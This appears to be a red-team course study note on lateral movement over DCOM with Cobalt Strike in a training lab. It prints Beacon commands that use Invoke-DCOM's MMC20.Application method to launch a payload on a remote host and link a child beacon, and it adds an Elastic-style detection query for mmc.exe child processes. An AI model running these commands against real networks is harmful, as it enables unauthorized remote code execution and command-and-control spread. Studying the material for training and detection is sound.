Secondary Categories: 02 - Lateral Movement Links: Beacon Object Files Component Object Model (COM) Search Tag:πŸ“•

Distributed Component Object Model (DCOM)


Description:

Cobalt Strike

Beacon has no built-in capabilities to interact over Distributed Component Object Model (DCOM), so we must use an external tool such as Invoke-DCOM. Β We’ll see in a later module how this can be integrated into the jump command.

beacon> powershell-import C:\Tools\Invoke-DCOM.ps1
beacon> powershell Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:\Windows\smb_x64.exe
Completed
 
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30

DCOM is more complicated to detect, since each β€œMethod” works in a different way. In the particular case of MMC20.Application, the spawned process will be a child of mmc.exe.

event.category: process and event.type : start and process.parent.name: mmc.exe

Processes started via DCOM may also be observed where the parent is svchost.exe with command line arguments of -k DcomLaunch.


Resources:

TitleURL
placeholder

Created Date: November 17th 2022 23:26
Last Modified Date: November 17th 2022 23:26